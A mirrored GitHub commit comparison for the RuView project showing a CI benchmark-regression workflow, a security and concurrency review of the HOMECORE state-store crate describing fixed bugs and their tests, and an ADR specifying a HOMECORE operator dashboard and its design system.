mirror of
https://github.com/ruvnet/RuView
synced 2026-06-16 11:23:19 +00:00
Compare commits
14 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| cafbeb1e81 | |||
| c859f6f743 | |||
| 10c813fde3 | |||
| 20ad75f30c | |||
| 1df6d1e1ee | |||
| 4a083999e5 | |||
| 0f64d23516 | |||
| b209b8b778 | |||
| 90a88ada9a | |||
| cfd0ad76cf | |||
| 71e8756051 | |||
| 5287497a4a | |||
| bf1dfe79fd | |||
| 9b126e927e |
@@ -0,0 +1,199 @@
|
||||
name: Bench Regression Guard
|
||||
|
||||
# Sub-deliverable 8.3 of the benchmark/optimization milestone.
|
||||
#
|
||||
# HONEST SCOPE (read this before assuming this gates on timing):
|
||||
# * The `bench-compile` job is a REAL, HARD-FAILING regression gate. It runs
|
||||
# `cargo bench --no-default-features --no-run`, which type-checks and links
|
||||
# EVERY criterion bench in the v2/ workspace without running a single
|
||||
# measurement. Benches are not part of `cargo test`, so they silently
|
||||
# bit-rot when a public API they call changes — this job catches that the
|
||||
# moment it happens. This is the part of this workflow that can fail a PR.
|
||||
#
|
||||
# * The `bench-fast-run` job runs a small, curated subset of pure-CPU benches
|
||||
# in criterion "quick mode" (short warm-up / measurement / 10 samples) and
|
||||
# is INFORMATIONAL ONLY (`continue-on-error: true`). It does NOT gate on
|
||||
# timing. Wall-clock timings on shared GitHub-hosted runners vary by
|
||||
# 2-3x run-to-run (noisy neighbours, CPU throttling, no pinned frequency),
|
||||
# so a hard ">X ms" threshold here would flake constantly and teach
|
||||
# everyone to ignore it. We deliberately do not pretend to do timing
|
||||
# regression-gating we cannot deliver reliably. The numbers are surfaced in
|
||||
# the job log + uploaded as an artifact for humans to eyeball trends.
|
||||
#
|
||||
# WHY NO criterion --baseline COMPARE GATE:
|
||||
# criterion's `--save-baseline` / `--baseline` compare is the textbook
|
||||
# regression mechanism, but it only produces a trustworthy verdict when the
|
||||
# baseline and the candidate were measured on the SAME hardware under the SAME
|
||||
# conditions. GitHub-hosted runners give neither (the baseline commit and the
|
||||
# PR commit land on different physical machines). Committing a baseline JSON
|
||||
# measured on one runner and comparing a different runner against it would
|
||||
# manufacture false regressions. If/when these benches run on a dedicated,
|
||||
# frequency-pinned self-hosted runner, a `--baseline` compare with a generous
|
||||
# (>2x) noise floor becomes honest and can be added then. Until then,
|
||||
# compile-verify + informational-run is the honest gate.
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ main, develop, 'feat/*' ]
|
||||
paths:
|
||||
- 'v2/crates/**/benches/**'
|
||||
- 'v2/crates/**/Cargo.toml'
|
||||
- 'v2/crates/**/src/**'
|
||||
- 'v2/Cargo.toml'
|
||||
- 'v2/Cargo.lock'
|
||||
- '.github/workflows/bench-regression.yml'
|
||||
pull_request:
|
||||
paths:
|
||||
- 'v2/crates/**/benches/**'
|
||||
- 'v2/crates/**/Cargo.toml'
|
||||
- 'v2/crates/**/src/**'
|
||||
- 'v2/Cargo.toml'
|
||||
- 'v2/Cargo.lock'
|
||||
- '.github/workflows/bench-regression.yml'
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
# Debuginfo is useless in CI and the 38-crate workspace target dir otherwise
|
||||
# exhausts the runner disk (mirrors ci.yml's rust-tests job). The bench
|
||||
# profile inherits release + debug = true (v2/Cargo.toml [profile.bench]);
|
||||
# force it off so the link step does not run out of space.
|
||||
CARGO_PROFILE_BENCH_DEBUG: "0"
|
||||
CARGO_PROFILE_RELEASE_DEBUG: "0"
|
||||
|
||||
jobs:
|
||||
# ── HARD GATE: every bench must still compile + link ─────────────────────
|
||||
bench-compile:
|
||||
name: bench compile-verify (--no-run)
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout (recursive — wifi-densepose-rufield path-deps vendor/rufield)
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
# The workspace includes `wifi-densepose-rufield`, which path-deps the
|
||||
# `vendor/rufield` submodule crates. Without a recursive checkout the
|
||||
# whole workspace fails to resolve before any bench is built.
|
||||
submodules: recursive
|
||||
|
||||
# The workspace pulls in `wifi-densepose-desktop` (Tauri v2) whose -sys
|
||||
# crates need the GTK/WebKit/serial dev libraries via pkg-config, exactly
|
||||
# as ci.yml's rust-tests job documents. A `--workspace` bench build links
|
||||
# the whole graph, so these are required here too.
|
||||
- name: Install Tauri / GTK / serial system dev libraries
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
libglib2.0-dev \
|
||||
libgtk-3-dev \
|
||||
libsoup-3.0-dev \
|
||||
libjavascriptcoregtk-4.1-dev \
|
||||
libwebkit2gtk-4.1-dev \
|
||||
libayatana-appindicator3-dev \
|
||||
librsvg2-dev \
|
||||
libxdo-dev \
|
||||
libudev-dev \
|
||||
libdbus-1-dev \
|
||||
libssl-dev \
|
||||
pkg-config
|
||||
|
||||
- name: Install Rust toolchain
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
- name: Cache cargo (Swatinem/rust-cache)
|
||||
uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
workspaces: v2
|
||||
# Distinct cache scope from ci.yml's rust-tests so the bench profile
|
||||
# artifacts (release+opt) do not evict the test profile cache.
|
||||
key: bench-regression
|
||||
|
||||
# The core regression guard. `--no-run` compiles + links every bench
|
||||
# target in the workspace's DEFAULT feature set but runs no measurement,
|
||||
# so it is deterministic and fast-ish (build only). A bench that no longer
|
||||
# compiles — because a type/signature it calls changed and nobody updated
|
||||
# the bench — fails the build here. `--no-default-features` is the
|
||||
# workspace's standard gate flag (openblas/tch/ort/onnx stay opt-out).
|
||||
- name: Compile all workspace benches (default features)
|
||||
working-directory: v2
|
||||
run: cargo bench --workspace --no-default-features --no-run
|
||||
|
||||
# Feature-gated benches are skipped by the default build above because
|
||||
# their `[[bench]]` entries carry `required-features`. Compile the ones we
|
||||
# can guard so they are also covered against bit-rot.
|
||||
# * cir → wifi-densepose-signal/benches/cir_bench.rs (ADR-134). The
|
||||
# `cir` feature is pure-Rust (`cir = []`), so it builds on the stock
|
||||
# runner and is a real, hard-failing guard like the step above.
|
||||
#
|
||||
# NOT guarded here (honest scope):
|
||||
# * crv → wifi-densepose-ruvector/benches/crv_bench.rs. The `crv` feature
|
||||
# pulls the crates.io dependency `ruvector-crv 0.1.1`, which currently
|
||||
# FAILS to compile on stable (E0308 type mismatch in its own
|
||||
# `stage_iii.rs` — an UPSTREAM bug, unrelated to bench bit-rot).
|
||||
# Adding a hard `--features crv` compile step would make this workflow
|
||||
# red for a reason this gate is not meant to police. Re-add this step
|
||||
# once `ruvector-crv` ships a fixed release. (mqtt/onnx benches are
|
||||
# likewise left to their own crate workflows.)
|
||||
- name: Compile feature-gated benches (cir)
|
||||
working-directory: v2
|
||||
run: cargo bench -p wifi-densepose-signal --no-default-features --features cir --bench cir_bench --no-run
|
||||
|
||||
# ── INFORMATIONAL: run a curated fast subset (never gates) ───────────────
|
||||
bench-fast-run:
|
||||
name: bench fast-run (informational, non-gating)
|
||||
runs-on: ubuntu-latest
|
||||
# NEVER fail the workflow on this job — timings are noise-prone on shared
|
||||
# runners (see header). It exists to surface trends for humans, not to gate.
|
||||
continue-on-error: true
|
||||
needs: [bench-compile]
|
||||
steps:
|
||||
- name: Checkout (recursive)
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install Rust toolchain
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
- name: Cache cargo (Swatinem/rust-cache)
|
||||
uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
workspaces: v2
|
||||
key: bench-regression
|
||||
|
||||
# Curated subset = pure-CPU, fast, dependency-light criterion benches that
|
||||
# finish in seconds under quick-mode flags. Each is targeted by `--bench`
|
||||
# (NOT a bare `cargo bench -p`) because the crates' lib targets use the
|
||||
# libtest harness, which rejects criterion's CLI flags (--warm-up-time
|
||||
# etc.) and aborts the run. Quick-mode: 1s warm-up, 2s measure, 10 samples.
|
||||
- name: nvsim pipeline_throughput (quick)
|
||||
working-directory: v2
|
||||
run: |
|
||||
mkdir -p ../bench-out
|
||||
cargo bench -p nvsim --no-default-features --bench pipeline_throughput -- \
|
||||
--warm-up-time 1 --measurement-time 2 --sample-size 10 \
|
||||
| tee ../bench-out/nvsim_pipeline_throughput.txt
|
||||
|
||||
- name: ruvector sketch_bench (quick)
|
||||
working-directory: v2
|
||||
run: |
|
||||
cargo bench -p wifi-densepose-ruvector --no-default-features --bench sketch_bench -- \
|
||||
--warm-up-time 1 --measurement-time 2 --sample-size 10 \
|
||||
| tee ../bench-out/ruvector_sketch_bench.txt
|
||||
|
||||
- name: ruvector fusion_bench (quick)
|
||||
working-directory: v2
|
||||
run: |
|
||||
cargo bench -p wifi-densepose-ruvector --no-default-features --bench fusion_bench -- \
|
||||
--warm-up-time 1 --measurement-time 2 --sample-size 10 \
|
||||
| tee ../bench-out/ruvector_fusion_bench.txt
|
||||
|
||||
- name: Upload informational bench logs
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: bench-fast-run-logs
|
||||
path: bench-out/
|
||||
if-no-files-found: warn
|
||||
File diff suppressed because one or more lines are too long
@@ -190,4 +190,78 @@ The entity registry is a `RwLock<HashMap<EntityId, EntityEntry>>` backed by an a
|
||||
|
||||
- `v2/crates/wifi-densepose-sensing-server/src/main.rs` — Axum + Tokio architecture pattern used throughout the existing server stack
|
||||
- `docs/adr/ADR-126-ruview-native-ha-port-master.md` — HOMECORE master; §5.5 crate naming; §6 compatibility contract; §5.1 RUVIEW-POLICY
|
||||
|
||||
---
|
||||
|
||||
## 9. Security & concurrency review (P1 core, beyond-SOTA sweep)
|
||||
|
||||
Foundational review of the `homecore` crate — the state store + event bus +
|
||||
service/entity registries every other HOMECORE module trusts. Same rigor as
|
||||
the ADR-129/130/132/133/161 sibling reviews. **Three real fixes (one
|
||||
concurrency, two hardening), each pinned by a fails-on-old test; the bus-lag
|
||||
and lock-discipline dimensions confirmed clean with evidence.**
|
||||
|
||||
- **HC-RACE-01 (state-set TOCTOU — lost / reordered `state_changed`, the
|
||||
crux). FIXED.** `StateMachine::set` did `get()` (releasing the DashMap
|
||||
shard lock) → compute the next snapshot + the no-op / `last_changed`
|
||||
decision → `insert()` (re-acquiring the lock) → `send()`. The
|
||||
read-modify-write was **not atomic** w.r.t. a concurrent writer on the
|
||||
same entity, contradicting §2.1's promise that "the writer atomically
|
||||
replaces the map entry." A writer that read a stale `old` could
|
||||
mis-classify a genuine transition as a no-op and **drop its
|
||||
`state_changed` event** (a missed automation trigger) or fire an event
|
||||
whose `new_state` duplicated the previously delivered one (a spurious
|
||||
trigger for any automation keyed on `old_state != new_state`). **Fix:**
|
||||
hold the shard write-lock across the entire read→decide→insert→fire
|
||||
sequence via `entry()`/`insert_entry()`; `tx.send` is non-blocking,
|
||||
non-async, and never re-enters the map, so firing under the shard lock
|
||||
cannot deadlock and keeps global event order in lock-step with global
|
||||
commit order. Pinned by `concurrent_set_fires_no_duplicate_adjacent_events`
|
||||
(4 writers toggling one entity A/B; asserts no two consecutive fired
|
||||
events carry an identical `new_state` — impossible under correct
|
||||
serialisation; a probe observed ~93k such duplicate-adjacent events across
|
||||
200 trials on the racy code, zero on the fix).
|
||||
- **HC-EID-LEN-01 (unbounded `entity_id` — memory-DoS at the REST boundary).
|
||||
FIXED.** `homecore-api/src/rest.rs` parses untrusted path segments
|
||||
straight through `EntityId::parse`; with no length cap, an
|
||||
otherwise-valid id (`a.` + many MB of `[a-z0-9_]`) was accepted and a
|
||||
`POST /api/states/<giant>` would persist it into the DashMap state store
|
||||
(permanent growth across distinct ids). **Fix:** reject ids longer than
|
||||
`MAX_ENTITY_ID_LEN` (255, HA-compatible) up front in `parse()`, before any
|
||||
per-char scan, with a new `EntityIdError::TooLong`; fail-closed at the
|
||||
boundary type protects every caller. Pinned by `entity_id_length_boundary`
|
||||
(exactly-MAX accepted, MAX+1 and a 4 MiB id rejected — fails on old code).
|
||||
- **HC-SVC-PANIC-01 (service-handler panic not isolated). HARDENED.**
|
||||
`ServiceRegistry::call` already ran handlers outside the registry lock (no
|
||||
`RwLock` poisoning, no blocking of other callers — clean), but a
|
||||
panicking handler unwound through `call()` into the caller's task. **Fix:**
|
||||
wrap the handler future in `AssertUnwindSafe` + `catch_unwind`, converting
|
||||
a panic to `ServiceError::HandlerPanicked`; the registry stays fully
|
||||
usable. Pinned by `panicking_handler_is_isolated_and_registry_survives`.
|
||||
|
||||
**Dimensions confirmed clean (with evidence):**
|
||||
|
||||
- **Event-bus bounds / lag (same class as the homecore-api WS lag-DoS).**
|
||||
Both `StateMachine` and `EventBus` use bounded `tokio::sync::broadcast`
|
||||
(capacity 4,096). A slow subscriber gets a recoverable `Lagged(n)`
|
||||
(drop-oldest + re-sync); `fire_*` is non-blocking and **never waits on
|
||||
slow receivers**, so a lagging subscriber cannot block the publisher, grow
|
||||
the channel without bound, or take down a fast subscriber. Evidenced by
|
||||
`slow_subscriber_does_not_block_publisher_or_kill_the_bus` (fire 3×
|
||||
capacity at an idle subscriber; publisher unblocked, bus stays live).
|
||||
- **Lock ordering / lock-across-await (deadlock).** No code path holds two
|
||||
of `{state DashMap, registry RwLock, service RwLock}` simultaneously, so
|
||||
no inconsistent-ordering deadlock can exist. Every `tokio::sync::RwLock`
|
||||
guard in `registry.rs`/`service.rs` is used in a single synchronous
|
||||
statement and dropped before any `.await`; `call` explicitly scopes the
|
||||
read guard out before awaiting the handler. The only guard held across a
|
||||
send is the DashMap shard lock in `set`, across a synchronous
|
||||
(non-await) broadcast send — safe.
|
||||
- **Panic-on-input.** No reachable `unwrap`/`expect`/index in non-test code
|
||||
beyond the safe `send().unwrap_or(0)` and the dead-but-harmless
|
||||
`split_once(...).unwrap_or(...)` fallbacks on already-validated ids.
|
||||
|
||||
`cargo test -p homecore --no-default-features`: **20 → 24 passed, 0 failed**
|
||||
(+4 pins). Workspace green; Python deterministic proof unchanged
|
||||
(`f8e76f21…46f7a`, bit-exact — `homecore` is off the signal proof path).
|
||||
- `docs/adr/ADR-028-esp32-capability-audit.md` — witness chain pattern (Ed25519 per state transition)
|
||||
|
||||
@@ -0,0 +1,444 @@
|
||||
# ADR-131: HOMECORE-UI — Operational dashboard for the two-tier Cognitum stack
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — UI implemented (§10); full backend wiring specified (§11–§12) |
|
||||
| **Date** | 2026-06-14 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **HOMECORE-UI** — first-class operator dashboard inside the Cognitum Appliance shell |
|
||||
| **Relates to** | [ADR-126](ADR-126-ruview-native-ha-port-master.md) (HOMECORE master), [ADR-127](ADR-127-homecore-state-machine-rust.md) (HOMECORE-CORE state machine), [ADR-128](ADR-128-homecore-integration-plugin-system.md) (HOMECORE-PLUGINS), [ADR-129](ADR-129-homecore-automation-engine.md) (automation engine), [ADR-130](ADR-130-homecore-rest-websocket-api.md) (HOMECORE-API), [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) (recorder/semantic search), [ADR-151](ADR-151-room-calibration-specialist-training.md) (room calibration HTTP API), [ADR-100](ADR-100-cog-packaging-specification.md) (Cog packaging), [ADR-116](ADR-116-cog-ha-matter-seed.md) (cog-ha-matter), [ADR-069](ADR-069-cognitum-seed-csi-pipeline.md) (SEED RVF ingest), [ADR-105](ADR-105-federated-csi-training.md) (federated CSI training) |
|
||||
| **Tracking issue** | TBD |
|
||||
| **Parent** | [ADR-126](ADR-126-ruview-native-ha-port-master.md) (sub-ADR, HOMECORE-127…134 family) |
|
||||
|
||||
---
|
||||
|
||||
## 1. Context
|
||||
|
||||
HOMECORE (ADR-126 through ADR-134) is the native Rust + WASM + TypeScript port of Home Assistant running as the hub on the Cognitum v0 Appliance. As of P2, the state machine ([ADR-127](ADR-127-homecore-state-machine-rust.md)), API ([ADR-130](ADR-130-homecore-rest-websocket-api.md)), and COG runtime ([ADR-128](ADR-128-homecore-integration-plugin-system.md)) are in place. What is missing is a first-class dashboard UI that operators, integrators, and residents can use to manage the full two-tier hardware stack that HOMECORE coordinates.
|
||||
|
||||
### 1.1 The two-tier hardware model this UI must represent
|
||||
|
||||
This is the most important architectural constraint the UI must carry through every panel:
|
||||
|
||||
- **Cognitum SEED** — a Pi Zero 2 W-based edge node. It has its own RVF vector store (8-dim, content-addressed, with kNN queries), Ed25519 witness chain, SHA-256 ingest audit trail, onboard environmental sensors (BME280 temperature/humidity/pressure, PIR motion, reed switch, ADS1115 4-channel ADC, vibration), 13 drift detectors, an MCP proxy (114 tools, JSON-RPC 2.0, default-deny policy), 98 HTTPS API endpoints, and epoch-based swarm sync for multi-SEED deployments. SEEDs sit close to the ESP32 sensing nodes and receive feature vectors from them at 1 Hz. Multiple SEEDs can form a peer mesh. **This is the sensing and memory tier.**
|
||||
- **Cognitum v0 Appliance** — a Pi 5 + Hailo-10H hub, running at `:9000`. It hosts the COG runtime (`/var/lib/cognitum/apps/`), the HOMECORE state machine and event bus, the calibration service, `ruview-mcp-brain:9876`, `cognitum-rvf-agent:9004`, `ruvector-hailo-worker:50051`, and acts as the fleet coordinator for multi-room correlation and federated training. The Appliance is where HOMECORE runs, and it is what the dashboard user is sitting in front of. **This is the computation and orchestration tier.**
|
||||
|
||||
SEEDs are **subordinate nodes that the Appliance supervises** — they are not peers. The UI navigation hierarchy must reflect this: the Appliance is the root, SEEDs are children, ESP32 nodes are leaves.
|
||||
|
||||
### 1.2 What the UI is not
|
||||
|
||||
HOMECORE-UI is **not** a re-skin of the existing Cognitum Cog Store. It is a full operational dashboard that **extends** the Cognitum platform's shell — the Cog Store, API Explorer, and Guide already exist and must remain intact, with the HOMECORE dashboard added as a first-class navigation section alongside them.
|
||||
|
||||
---
|
||||
|
||||
## 2. Decision
|
||||
|
||||
Build HOMECORE-UI as a **complete** TypeScript + Rust→WASM frontend (per this ADR's §3 and the HOMECORE-127…134 family) that:
|
||||
|
||||
1. Lives at `http://cognitum-v0:9000/homecore` (or as a dedicated nav item in the Cognitum Appliance shell).
|
||||
2. Is visually and stylistically seamless with the existing Cognitum platform — same dark theme, same design tokens, same component patterns as `https://seed.cognitum.one/store`.
|
||||
3. Drives the HOMECORE REST + WebSocket API ([ADR-130](ADR-130-homecore-rest-websocket-api.md)) and the calibration HTTP API ([ADR-151](ADR-151-room-calibration-specialist-training.md)) for all data.
|
||||
4. Updates in real-time via the homecore `subscribe_events` WebSocket channel. **The UI must never poll for entity state.**
|
||||
|
||||
**This is a decision to deliver the complete operational dashboard — every panel in §4.1 through §4.10, every navigation section in §5, fully wired to live data — not a design-system scaffold or a partial first cut.** A static layout shell with placeholder data is explicitly **out of scope as a deliverable**: the design system (§3) is a means to the complete UI, not an end in itself. The acceptance bar for this ADR is that an operator can drive the full two-tier stack — fleet, entities, rooms, COGs, calibration, events, audit, and settings — from the dashboard, against real APIs, with no panel left as a stub.
|
||||
|
||||
### 2.1 `homecore-server` is the single backend-for-frontend (BFF) gateway
|
||||
|
||||
The data the dashboard needs is spread across **three backend tiers that are not one process**: (a) `homecore-api` (`/api/*` REST + `/api/websocket`, mounted in `homecore-server`); (b) the **calibration API** (`/api/v1/*`, served by a *separate* binary — `wifi-densepose calibrate-serve` / `wifi-densepose-sensing-server`); and (c) the **SEED device tier + appliance daemons** (RVF vector store, witness chain, onboard sensors, reflex rules, COG supervisor, federation), which are physically separate HTTPS services on the SEED nodes and the appliance.
|
||||
|
||||
The browser must talk to **exactly one origin.** Therefore `homecore-server` is promoted to the **single BFF / API gateway** for HOMECORE-UI: it serves the static assets at `/homecore`, serves `homecore-api` at `/api/*`, and **adds a new `/api/homecore/*` namespace** that proxies and aggregates the calibration API and the SEED/appliance tiers server-side. The UI only ever issues same-origin requests; cross-service auth (SEED bearer tokens, calibration tokens) is held by the gateway and **never exposed to the browser**. This collapses the CORS/multi-port problem and gives one place to enforce the long-lived-access-token auth (§4.10).
|
||||
|
||||
### 2.2 No mock data in production
|
||||
|
||||
The in-browser mock layer that the first UI cut shipped behind DEMO banners (§7.1, prior revision) is **demoted to a dev-only fixture** gated behind an explicit `?demo=1` / `HOMECORE_UI_DEMO=1` flag. The production build wires **every** panel to a real gateway endpoint. The full endpoint contract and the backend work each panel needs are specified in **§11**; the staged path to get there is **§12**. A panel may show an empty/typed-error state when its upstream is down, but it must never silently render fabricated data.
|
||||
|
||||
---
|
||||
|
||||
## 3. Design system — Cognitum platform conventions
|
||||
|
||||
The implementor **must study `https://seed.cognitum.one/store` as the definitive design reference before writing a single line of CSS.** The existing platform's design tokens, extracted from production, are:
|
||||
|
||||
### 3.1 Colour palette (CSS custom properties)
|
||||
|
||||
| Token | Value | Role |
|
||||
|---|---|---|
|
||||
| `--bg` | `#0a0e1a` | page background (very dark navy) |
|
||||
| `--bg2` | `#111627` | secondary background / nav strip |
|
||||
| `--card` | `#171d30` | card / panel surface |
|
||||
| `--card-h` | `#1e2540` | card hover state |
|
||||
| `--border` | `#252d45` | all border strokes (≈0.67px, subtle) |
|
||||
| `--t1` | `#e0e4f0` | primary text (near-white) |
|
||||
| `--t2` | `#8890a8` | secondary / muted text |
|
||||
| `--t3` | `#505872` | tertiary / disabled text |
|
||||
| `--cyan` | `#4ecdc4` | primary action colour (Install buttons, live indicators, accents) |
|
||||
| `--cyan-d` | `rgba(78,205,196,0.15)` | cyan tint background for status badges |
|
||||
| `--green` | `#6bcb77` | success / online / healthy states |
|
||||
| `--green-d` | `rgba(107,203,119,0.15)` | green tint background |
|
||||
| `--amber` | `#d4a574` | warning / stale / degraded states |
|
||||
| `--amber-d` | `rgba(212,165,116,0.15)` | amber tint background |
|
||||
| `--red` | `#e06060` | error / offline / veto states |
|
||||
| `--red-d` | `rgba(224,96,96,0.15)` | red tint background |
|
||||
| `--purple` | `#a78bfa` | informational / epoch / chain indicators |
|
||||
| `--purple-d` | `rgba(167,139,250,0.15)` | purple tint background |
|
||||
| `--r` | `10px` | standard border radius on all cards and panels |
|
||||
|
||||
### 3.2 Typography
|
||||
|
||||
- `--font`: `'Segoe UI', system-ui, -apple-system, sans-serif` — all body and heading text.
|
||||
- `--mono`: `'Cascadia Code', 'Fira Code', Consolas, monospace` — all entity IDs, API endpoints, hex values, JSON payloads, COG binary hashes.
|
||||
|
||||
### 3.3 Component patterns (from the live Cog Store and API Explorer)
|
||||
|
||||
- **Cards**: `background: var(--card)`, `border: 0.67px solid var(--border)`, `border-radius: var(--r)`, `padding: 24px`.
|
||||
- **Category pills / status badges**: small `border-radius: 4–6px`, uppercase text, coloured background tint (e.g. `background: var(--cyan-d); color: var(--cyan)` for `RUNNING`; `background: var(--amber-d); color: var(--amber)` for `STALE`).
|
||||
- **Primary action buttons**: `background: var(--cyan)`, `color: var(--bg)`, no border — matching the existing "Install" button style exactly.
|
||||
- **Secondary / ghost buttons**: transparent background, `border: 1px solid var(--border)`, `color: var(--t1)` — matching the existing "Details" button style.
|
||||
- **Nav strip**: `background: var(--bg2)`, text items in `--t2`, active item highlighted in `--cyan` with a bottom underline.
|
||||
- **Featured card gradient borders**: top-edge linear gradient from `var(--cyan)` to `var(--purple)` — replicate for HOMECORE section headers.
|
||||
- **Live metric cards** (API Explorer status page): icon + large numeric value in `--cyan` or `--green`, label in `--t2` below, on a `var(--card)` background.
|
||||
- **Method badge pills** on the API Explorer (`GET` in green, `POST` in amber, `AUTH` in purple) — reuse this same pill system for COG status indicators.
|
||||
|
||||
The implementor **must not introduce new colours, typefaces, or border radii.** Every component should feel like it was built by the same team that built the Cog Store and the API Explorer. A user navigating from the Cog Store into the HOMECORE dashboard should not notice a visual seam.
|
||||
|
||||
---
|
||||
|
||||
## 4. UI sections — required panels
|
||||
|
||||
### 4.1 System Dashboard (the "home screen")
|
||||
|
||||
The always-visible overview panel. Modelled on the API Explorer's live metric cards. All values update in real-time.
|
||||
|
||||
- **v0 Appliance health strip** — reuse the exact metric-card pattern from `seed.cognitum.one/status`: one card each for CPU %, RAM usage, Hailo-10H inference load (% utilisation), Hailo temperature, uptime, and the running services (`ruview-mcp-brain:9876`, `cognitum-rvf-agent:9004`, `ruvector-hailo-worker:50051`). Values in `--cyan`, labels in `--t2`. This strip is always at the top — it represents the machine the user is looking at.
|
||||
- **SEED Fleet overview** — a grid of SEED node cards (one per paired SEED) on the `var(--card)` surface with `var(--border)`. Each card shows: online/offline status pill (green/red), firmware version, epoch number, current vector count, last ingest timestamp, and witness-chain validity badge. A collapsed row shows the SEED's 5 onboard sensors in summary (PIR: yes/no, door: open/closed, temperature from BME280). Offline SEEDs render the entire card with a `--red-d` background tint. Clicking a SEED card navigates to the SEED Detail view (§4.2).
|
||||
- **ESP32 Node summary** — count of active ESP32 nodes per SEED, current frame rate (target: 100 Hz CSI + 1 Hz feature vectors), and a compact warning list for nodes with known issues (presence_score normalisation anomaly, stale firmware version).
|
||||
- **COG Runtime status row** — a horizontal strip of status pills for each installed COG on the v0 Appliance. Pill colours follow the existing badge convention: `--green-d`/`--green` for running, `--red-d`/`--red` for failed, `--t3`/`--t2` for stopped. COG name in `--mono`. Clicking a pill navigates to COG Management (§4.6).
|
||||
- **Event Bus activity indicator** — a small real-time sparkline showing the homecore broadcast channel event rate (events/sec). Indicate channel lag if a subscriber is falling behind the 4,096-event capacity.
|
||||
|
||||
### 4.2 SEED Detail View (per-SEED drill-down)
|
||||
|
||||
Accessible from the fleet grid. Full-page panel for a single SEED node, using the card + section-header pattern from the Cog Store's detail views.
|
||||
|
||||
- **SEED identity header** — `device_id` in `--mono`, firmware version, paired status in green, USB vs WiFi connection mode. A section-header gradient border (cyan → purple, matching the featured card style) visually separates this from Appliance content.
|
||||
- **Vector Store panel** — current vector count, dimension (8), last kNN query latency, current epoch number, a small sparkline of ingest rate over the last hour, and a storage budget bar showing usage against the 100K working-set target. A "Compact now" button (`POST /api/v1/store/compact`) in ghost style. When usage exceeds 80%, the bar renders in `--amber`.
|
||||
- **Witness Chain panel** — chain length (SHA-256 entries), last verification timestamp, a one-click "Verify chain" button (`POST /api/v1/witness/verify`), and an "Export attestation bundle" button for regulated deployments. The Ed25519 custody attestation (device-bound keypair, epoch + vector count + witness head) renders here. Chain length in `--purple`, following the existing epoch/chain colour convention.
|
||||
- **Onboard Sensors panel** — live readings from all 5 sensors in individual sub-cards: BME280 (temperature °C, humidity %, pressure hPa), PIR (motion boolean with last-triggered timestamp), reed switch (open/closed with last-changed timestamp), ADS1115 (4 analog channels with configurable labels), vibration (boolean with last-triggered). These are ground-truth validators against CSI readings and are critical for diagnosing false positives in the mixture-of-specialists. Sensor values in `--cyan`; sensor names in `--t2`.
|
||||
- **Reflex Rules panel** — the 3 pre-configured rules with current state: `fragility_alarm` (threshold 0.3 → relay actuator), `drift_cutoff` (threshold 1.0), `hd_anomaly_indicator` (threshold 200 → PWM brightness). Show last-fired time for each. The `fragility_alarm` threshold is the most commonly adjusted field and should be editable inline. Rules that have recently fired render with a `--amber-d` background tint.
|
||||
- **Cognitive Analysis panel** — boundary fragility score (0.0–1.0, from Stoer-Wagner min-cut on the kNN graph) rendered as a progress bar: green below 0.3, amber 0.3–0.6, red above 0.6. High fragility (>0.3) indicates a regime change in the environment and should be visually prominent. Temporal coherence phase boundaries shown as a labelled timeline of detected environment state transitions. kNN graph rebuild cadence indicator (every 10 s).
|
||||
- **Ingest pipeline status** — which ESP32 nodes feed this SEED, the packet type each is sending (`0xC5110003` native feature vectors vs `0xC5110002` vitals fallback path — distinguished visually since native is preferred), current ingest batch size, flush interval, and bridge path topology (direct vs host-laptop hop). The bridge-hop warning (known architectural limitation) renders in `--amber` since it adds a network hop.
|
||||
|
||||
### 4.3 SEED Fleet Map (multi-SEED topology)
|
||||
|
||||
For deployments with more than one SEED, a topology view showing the mesh:
|
||||
|
||||
- **Node hierarchy diagram** — v0 Appliance at root, SEEDs as second tier (grouped by room/zone), ESP32 nodes as leaves under each SEED. Lines represent active data flows. ESP-NOW mesh sync links between SEEDs shown as dashed lines. Connection health shown via line colour (green/amber/red). All labels in `--mono`.
|
||||
- **Cross-SEED event deduplication indicator** — for events that span multiple SEEDs (one fall detected by two rooms; one occupant tracked through room A → hallway → room B), show a fusion badge indicating how many SEEDs contributed to the composite event.
|
||||
- **Federation config** ([ADR-105](ADR-105-federated-csi-training.md)) — federated-learning round coordinator role (which SEED is the round coordinator), current round number, K healthy nodes selected, delta exchange status. **Model deltas only — never raw CSI** is a design invariant that must be labelled explicitly in the UI.
|
||||
|
||||
### 4.4 Entity & State Browser
|
||||
|
||||
The homecore state machine (`DashMap<EntityId, Arc<State>>`) is the authoritative source of truth. Every COG running on the v0 Appliance contributes entities.
|
||||
|
||||
- **Entity list by domain** — grouped by the `domain.` prefix of `EntityId`, using collapsible section headers. The 21 entities per ESP32 node (11 raw + 10 semantic primitives from `cog-ha-matter`) are the most important set. For each entity: current state string (in `--t1`), last-changed timestamp (in `--t3`), attribute map as collapsible JSON in `--mono`, and the Context (`user_id` + `parent_id` causality chain, critical for care/audit deployments). Entity IDs always in `--mono`.
|
||||
- **SEED provenance badge** — each entity carries a small badge showing its data lineage: which ESP32 node → which SEED → which COG → homecore state machine. This trace is invaluable for debugging false positives and is a **first-class UI element, not a collapsed detail.**
|
||||
